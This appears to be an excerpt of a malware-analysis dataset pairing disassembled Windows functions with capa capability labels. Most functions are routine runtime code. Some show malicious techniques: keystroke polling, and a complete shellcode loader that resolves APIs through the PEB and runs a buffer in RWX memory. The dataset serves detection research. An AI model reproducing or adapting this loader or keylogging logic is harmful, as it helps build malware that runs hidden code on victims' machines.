joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4dc021
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
mov edi, dword [ecx + 0x14]
cmp dword [edi - 0xc], 0
jne 0x4dc034
xor eax, eax
jmp 0x4dc083
mov eax, dword [ecx + 8]
push ebx
push esi
mov esi, dword [ecx + 0xc]
mov dword [ebp - 4], esi
mov dword [ebp - 8], eax
call fcn.004109f8
mov ebx, eax
test ebx, ebx
je 0x4dc062
mov ecx, dword [ebx]
mov esi, dword [ecx + 0x74]
mov ecx, esi
call fcn.005417cc
mov ecx, ebx
call esi
mov esi, dword [ebp - 4]
jmp 0x4dc064
xor eax, eax
test eax, eax
je 0x4dc06b
mov eax, dword [eax + 0x20]
push 1
push esi
push dword [ebp - 8]
push edi
push 0
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
pop esi
sbb eax, eax
inc eax
pop ebx
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x4dc260
Capabilities:
Get file system object information

Disassembly:
push 0x4cc
mov eax, 0x56dfc2
call fcn.0054183d
mov ebx, ecx
mov eax, dword [ebx + 0x14]
sub eax, 0x10
push eax
call fcn.0040896f
pop ecx
lea esi, [eax + 0x10]
mov dword [ebp - 0x4d0], esi
and dword [ebp - 4], 0
lea ecx, [ebp - 0x4d0]
push 0
push 0x5a5a3c
call fcn.00412382
cmp eax, 0xffffffff
jne 0x4dc339
push 0
push 0x57e7d8
lea ecx, [ebp - 0x4d0]
call fcn.00412382
cmp eax, 0xffffffff
jne 0x4dc339
push 0
push 0x577300
lea ecx, [ebp - 0x4d0]
call fcn.00412382
cmp eax, 0xffffffff
jne 0x4dc339
mov eax, dword [ebx + 0x14]
sub eax, 0x10
push eax
call fcn.0040896f
mov edi, eax
pop ecx
mov dword [ebp - 0x4d4], edi
lea ecx, [edi + 0x10]
mov dword [ebp - 0x4d8], ecx
xor edx, edx
mov byte [ebp - 4], 1
push edx
lea eax, [ebp - 0x218]
push eax
push 0x104
push edx
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SearchPathW]
test eax, eax
jne 0x4dc308
mov eax, dword [ebx]
mov edi, dword [eax + 0x14]
mov ecx, edi
call fcn.005417cc
mov ecx, ebx
call edi
mov ecx, dword [ebp - 0x4d4]
mov edi, eax
call fcn.004038c0
jmp 0x4dc371
lea eax, [ebp - 0x218]
push eax
call fcn.00547585
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x4d0]
call fcn.00407bce
mov ecx, edi
mov byte [ebp - 4], 0
call fcn.004038c0
mov esi, dword [ebp - 0x4d0]
push 0x105
push 0x2b4
lea eax, [ebp - 0x4cc]
push eax
push 0
push esi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
test eax, eax
je 0x4dc35f
mov edi, dword [ebp - 0x4cc]
jmp 0x4dc371
mov eax, dword [ebx]
mov edi, dword [eax + 0x14]
mov ecx, edi
call fcn.005417cc
mov ecx, ebx
call edi
mov edi, eax
lea ecx, [esi - 0x10]
call fcn.004038c0
mov eax, edi
call fcn.005417e7
ret
Function at 0x4ec47f
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, ecx
mov dword [ebp - 4], esi
push edi
test ebx, ebx
je 0x4ec53d
mov eax, dword [esi + 0x34c]
test eax, eax
je 0x4ec532
mov ecx, dword [eax + 0x20]
test ecx, ecx
je 0x4ec532
neg eax
sbb eax, eax
and eax, ecx
cmp dword [ebx], eax
jne 0x4ec532
mov eax, dword [ebx + 4]
sub eax, 1
je 0x4ec506
sub eax, 1
je 0x4ec4d2
sub eax, 1
jne 0x4ec532
mov edi, 0x428e
jmp 0x4ec50b
push 0x11
mov edi, 0x3ea1
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x8000
test cx, ax
je 0x4ec50b
mov eax, dword [esi]
mov esi, dword [eax + 0x340]
mov ecx, esi
call fcn.005417cc
mov ecx, dword [ebp - 4]
call esi
test eax, eax
je 0x4ec50b
add edi, 3
jmp 0x4ec50b
mov edi, 0x3ea0
push edi
call fcn.00408427
test eax, eax
je 0x4ec53d
push edi
push eax
mov ecx, 0x5cb968
call fcn.00407a2c
test eax, eax
je 0x4ec53d
mov eax, dword [0x5cb968]
mov dword [ebx + 0xc], eax
xor eax, eax
inc eax
jmp 0x4ec534
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
call fcn.00408199
int3

Function at 0x4f7ef7
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
test esi, esi
je 0x4f7f46
push esi
mov ebx, 0x811c9dc5
xor edi, edi
call fcn.00547585
xor edx, edx
mov dword [ebp - 4], 0xa
pop ecx
mov ecx, eax
div dword [ebp - 4]
inc eax
test ecx, ecx
je 0x4f7f3b
mov edx, ecx
movzx ecx, word [esi + edi*2]
add edi, eax
imul ebx, ebx, 0x1000193
xor ebx, ecx
cmp edi, edx
jb 0x4f7f29
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.00408199
int3
Function at 0x54592e
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push esi
push str.FlsAlloc
push 0x5a0460
push str.FlsAlloc
push 0
call fcn.005458a7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x545960
push dword [ebp + 8]
mov ecx, esi
call fcn.005417cc
call esi
pop esi
pop ebp
ret
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x5459a2
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push str.FlsGetValue
push 0x5a0484
push str.FlsGetValue
push 2
call fcn.005458a7
add esp, 0x10
mov esi, eax
push dword [ebp + 8]
test esi, esi
je 0x5459d3
mov ecx, esi
call fcn.005417cc
call esi
jmp 0x5459d9
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
pop esi
pop ebp
ret

Function at 0x5459dc
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push str.FlsSetValue
push 0x5a0498
push str.FlsSetValue
push 3
call fcn.005458a7
add esp, 0x10
mov esi, eax
push dword [ebp + 0xc]
push dword [ebp + 8]
test esi, esi
je 0x545a10
mov ecx, esi
call fcn.005417cc
call esi
jmp 0x545a16
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop esi
pop ebp
ret

Function at 0x55b3b7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0055b076

Function at 0x55b3c2
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0055b1f9

Function at 0x55efd8
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0055e8f0

Function at 0x55efe3
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0055eb2f
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x461058], 1
mov dword [0x461054], 1
mov dword [0x461050], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x46100c], eax
mov eax, dword [0x461064]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x461078]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x461060]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x45db90], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056
Function at 0x401a20
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401a80
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x46106c]
test esi, esi
jle 0x401ba0
mov eax, dword [0x461070]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401ab4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401b37
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401aa0
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401bc7
mov eax, dword [0x461070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x461070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401ba7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401b30
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401b40
add dword [0x46106c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x461070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401b30
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401abe
mov eax, dword [0x461070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop
Function at 0x4020e0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x461088
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x461080]
sub esp, 4
test ebx, ebx
je 0x402135
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40212e
test esi, esi
je 0x40212e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402110
mov dword [esp], 0x461088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402470
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402495
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4024a0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402495
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x4024e8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x4024de
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4024ea
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4024d0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x401040
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push eax
push ebx
xor eax, eax
xor ebx, ebx
nop
add eax, dword fs:[0x30]
nop
add ebx, dword [eax + 0xc]
nop
mov dword [ebp - 4], ebx
add esp, 1
sub esp, 1
pop ebx
pop eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401070
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x384
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [str.Kelne]
push ebx
push esi
xor esi, esi
mov dword [ebp - 0x20], 0x64002e
push edi
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x1c], 0x6c006c
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x378], esi
call fcn.00401040
mov edi, dword [eax + 0xc]
lea ebx, [eax + 0xc]
cmp ebx, edi
je 0x4010fa
nop dword [eax]
mov esi, dword [edi + 0x30]
lea ecx, [ebp - 0x30]
mov dl, byte [esi]
test dl, dl
je 0x4010e3
mov al, dl
mov edx, ecx
sub esi, edx
mov dl, al
cmp al, byte [ecx]
jne 0x4010e3
mov al, byte [esi + ecx + 1]
inc ecx
mov dl, al
test al, al
jne 0x4010d2
cmp dl, byte [ecx]
je 0x4010f1
mov edi, dword [edi]
cmp ebx, edi
jne 0x4010c0
xor esi, esi
jmp 0x4010fa
mov esi, dword [edi + 0x18]
mov dword [ebp - 0x378], esi
push esi
push str.___Get_the_address_of_Kernel32.dll_Module:__p_n
call fcn.00401010
mov eax, dword [esi + 0x3c]
add esp, 8
xor edi, edi
mov dword [ebp - 0x14], 0x50746547
mov dword [ebp - 0x10], 0x41636f72
mov dword [ebp - 0xc], 0x65726464
mov eax, dword [eax + esi + 0x78]
add eax, esi
mov word [ebp - 8], 0x7373
mov byte [ebp - 6], 0
mov edx, dword [eax + 0x24]
mov ecx, dword [eax + 0x20]
add edx, esi
mov ebx, dword [eax + 0x18]
add ecx, esi
mov dword [ebp - 0x380], edx
mov edx, dword [eax + 0x1c]
add edx, esi
mov dword [ebp - 0x37c], ecx
mov dword [ebp - 0x384], edx
test ebx, ebx
je 0x40119c
nop word [eax + eax]
add esi, dword [ecx + edi*4]
lea ecx, [ebp - 0x14]
mov dl, byte [esi]
test dl, dl
je 0x401183
mov al, dl
mov edx, ecx
sub esi, edx
mov dl, al
cmp al, byte [ecx]
jne 0x401183
mov al, byte [esi + ecx + 1]
inc ecx
mov dl, al
test al, al
jne 0x401172
mov esi, dword [ebp - 0x378]
cmp dl, byte [ecx]
je 0x401248
mov ecx, dword [ebp - 0x37c]
inc edi
cmp edi, ebx
jb 0x401160
xor edi, edi
push str.VirtualAlloc
push esi
call edi
push str.RtlMoveMemory
push esi
mov ebx, eax
call edi
push str.CreateThread
push esi
mov dword [ebp - 0x384], eax
call edi
push str.WaitForSingleObject
push esi
mov dword [ebp - 0x380], eax
call edi
mov ecx, 0xd0
mov dword [ebp - 0x37c], eax
mov esi, 0x4198e0
lea edi, [ebp - 0x374]
rep movsd dword es:[edi], dword [esi]
push 0x40
push 0x1000
push 0x343
movsw word es:[edi], word [esi]
push 0
movsb byte es:[edi], byte [esi]
call ebx
mov esi, eax
lea eax, [ebp - 0x374]
push 0x343
push eax
push esi
call dword [ebp - 0x384]
push 0
push 0
push 0
push esi
push 0
push 0
call dword [ebp - 0x380]
push str.___shellcode_is_running__n
mov esi, eax
call fcn.00401010
add esp, 4
push 0xffffffffffffffff
push esi
call dword [ebp - 0x37c]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401262
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x380]
movzx eax, word [eax + edi*2]
mov edi, dword [ebp - 0x384]
mov edi, dword [edi + eax*4]
add edi, esi
jmp 0x40119e
Function at 0x401a61
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401aa0
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401aa0
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401aa0
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401aa0
cmp dword [ecx + 0x74], 0xe
jbe 0x401aa0
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x407966
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4155e8
push 0x4155e0
push str.FlsAlloc
push 0x1f
call fcn.00407825
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40799a
push dword [ebp + 8]
mov ecx, esi
call dword [0x414110]
call esi
jmp 0x4079a0
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4079e4
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4155f8
push 0x4155f0
push str.FlsGetValue
push 0x21
call fcn.00407825
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407a1b
push dword [ebp + 8]
mov ecx, esi
call dword [0x414110]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x407a23
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x415600
push 0x4155f8
push str.FlsSetValue
push 0x22
call fcn.00407825
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407a5d
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x414110]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10001480
Capabilities:
Delete registry key

Disassembly:
sub esp, 0x400
call fcn.10001aa0
test eax, eax
jne 0x10001498
add esp, 0x400
ret 0x10
mov eax, dword [str.unlodctr]
mov dx, word [0x1001f6e8]
mov ecx, dword [0x1001f6e4]
mov dword [esp], eax
mov eax, dword [esp + 0x404]
mov word [esp + 8], dx
mov dword [esp + 4], ecx
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100014c0
push esi
push edi
lea edi, [esp + 8]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100014d0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 8]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.10001910
mov ecx, dword [esp + 0x418]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
add esp, 4
push ecx
push 0x80000002
call esi
test eax, eax
je 0x1000151e
pop edi
mov eax, 0x8000ffff
pop esi
add esp, 0x400
ret 0x10
mov edx, dword [esp + 0x410]
push edx
push 0x80000002
call esi
neg eax
sbb eax, eax
pop edi
and eax, 0x8000ffff
pop esi
add esp, 0x400
ret 0x10

Function at 0x10001550
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [0x10022bc0]
sub esp, 0x318
push esi
push 0x103
lea eax, [esp + 0x14]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
mov esi, dword [esp + 0x320]
je 0x1000163c
push 0x104
lea edx, [esp + 0x118]
push edx
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
jne 0x100015b0
lea esp, [esp]
mov cl, byte [esp + eax + 0x10]
mov byte [esp + eax + 0x114], cl
inc eax
test cl, cl
jne 0x100015a0
lea ecx, [esp + 4]
push ecx
push str.SYSTEMCurrentControlSetServicesAdaptive_Server_AnywherePerformance_
push 0x80000002
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x1000163c
lea edx, [esp + 0xc]
push edx
mov edx, dword [esp + 8]
lea eax, [esp + 0x21c]
push eax
lea ecx, [esp + 0x10]
push ecx
push 0
push str.Library
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10001631
cmp dword [esp + 8], 1
jne 0x10001631
lea eax, [esp + 0x114]
push eax
lea ecx, [esp + 0x21c]
push ecx
call fcn.1000669f
add esp, 8
test eax, eax
jne 0x10001631
push esi
push str.SYSTEMCurrentControlSetServicesAdaptive_Server_AnywherePerformance_
push str.SYSTEMCurrentControlSetServicesAdaptive_Server_Anywhere
push str.Adaptive_Server_Anywhere
call fcn.10001480
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
push str.SYSTEMCurrentControlSetServicesAdaptive_Server_Anywhere_8Performance_
push str.SYSTEMCurrentControlSetServicesAdaptive_Server_Anywhere_8
push str.Adaptive_Server_Anywhere_8
call fcn.10001480
pop esi
add esp, 0x318
ret 4
Function at 0x10001670
Capabilities:
Delete file
Write file on windows

Disassembly:
push ecx
push esi
mov esi, ecx
mov eax, dword [esi]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [esi]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x100016be
mov eax, dword [esi + 8]
mov ecx, dword [esi + 4]
push 0
lea edx, [esp + 0xc]
push edx
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push edi
jne 0x100016c4
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
pop ecx
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
pop ecx
ret
Function at 0x10001910
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x58
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
push edi
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
push 0xfffffffffffffff5
mov dword [esp + 0x20], 0x44
mov dword [esp + 0x58], eax
call esi
push 0xfffffffffffffff4
mov dword [esp + 0x5c], eax
call esi
mov edx, dword [esp + 0x64]
mov dword [esp + 0x5c], eax
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x20]
push ecx
push 0
push 0
push 0x210
push 1
push 0
push 0
push edx
push 0
mov word [esp + 0x74], 0
mov dword [esp + 0x70], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10001983
pop edi
pop esi
add esp, 0x58
ret
mov eax, dword [esp + 0xc]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edi, 0x103
jmp 0x100019a0
mov edx, dword [esp + 0xc]
lea ecx, [esp + 8]
push ecx
push edx
call esi
test eax, eax
je 0x100019a0
cmp dword [esp + 8], edi
je 0x100019a0
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call esi
mov ecx, dword [esp + 8]
xor eax, eax
test ecx, ecx
pop edi
sete al
pop esi
add esp, 0x58
ret

Function at 0x100019e0
Capabilities:
Check os version

Disassembly:
mov eax, dword [0x10022be0]
test eax, eax
jne 0x10001a90
push esi
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov ecx, eax
shr ecx, 0x1f
not ecx
and ecx, 1
movzx edx, al
movzx esi, ah
je 0x10001a10
shr eax, 0x10
and eax, 0xffff7fff
jmp 0x10001a12
xor eax, eax
test ecx, ecx
mov dword [0x10022bd4], edx
mov dword [0x10022bd8], esi
mov dword [0x10022bdc], eax
mov dword [0x10022bd0], ecx
je 0x10001a48
mov dword [0x10022bcc], 6
mov dword [0x10022be0], 1
pop esi
mov eax, 0x10022bcc
ret
cmp edx, 4
jne 0x10001a7b
test esi, esi
jne 0x10001a6c
mov dword [0x10022bcc], 3
mov dword [0x10022be0], 1
pop esi
mov eax, 0x10022bcc
ret
cmp esi, 0xa
mov dword [0x10022bcc], 4
je 0x10001a85
mov dword [0x10022bcc], 5
mov dword [0x10022be0], 1
pop esi
mov eax, 0x10022bcc
ret
Function at 0x10001ab0
Capabilities:
Accept command line arguments
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
cmp eax, 1
push esi
jne 0x10001b9d
mov eax, 0x94
call fcn.10002b20
mov esi, esp
push esi
mov dword [esi], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x10001c12
mov ecx, dword [esi + 0x10]
mov dword [0x10022bfc], ecx
mov eax, dword [esi + 4]
mov dword [0x10022c08], eax
mov edx, dword [esi + 8]
mov dword [0x10022c0c], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
cmp ecx, 2
mov dword [0x10022c00], esi
je 0x10001b1b
or esi, 0x8000
mov dword [0x10022c00], esi
shl eax, 8
add eax, edx
push 1
mov dword [0x10022c04], eax
call fcn.10002a49
test eax, eax
pop ecx
je 0x10001c12
call fcn.100021cb
test eax, eax
jne 0x10001b48
call fcn.10002a9a
jmp 0x10001c12
call fcn.100029a7
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x100243d4], eax
call fcn.10002885
mov dword [0x10022be8], eax
call fcn.10002366
test eax, eax
jl 0x10001b96
call fcn.100027e3
test eax, eax
jl 0x10001b91
call fcn.100025b0
test eax, eax
jl 0x10001b91
call fcn.10001e66
test eax, eax
jne 0x10001b91
inc dword [0x10022be4]
jmp 0x10001c23
call fcn.10002564
call fcn.10001fbe
jmp 0x10001b3e
test eax, eax
jne 0x10001bcd
cmp dword [0x10022be4], eax
jle 0x10001c12
dec dword [0x10022be4]
cmp dword [0x10022c38], eax
jne 0x10001bbc
call fcn.10001faf
call fcn.10002564
call fcn.10001fbe
call fcn.10002a9a
jmp 0x10001c23
cmp eax, 2
jne 0x10001c16
push 0x88
push 1
call fcn.100022ab
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x10001c12
push esi
push dword [0x10022050]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
push esi
je 0x10001c0c
call fcn.10001fdc
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
or dword [esi + 4], 0xffffffff
mov dword [esi], eax
jmp 0x10001c23
call fcn.1000223a
pop ecx
xor eax, eax
jmp 0x10001c26
cmp eax, 3
jne 0x10001c23
push 0
call fcn.10002060
pop ecx
xor eax, eax
inc eax
lea esp, [ebp - 4]
pop esi
pop ebp
ret 0xc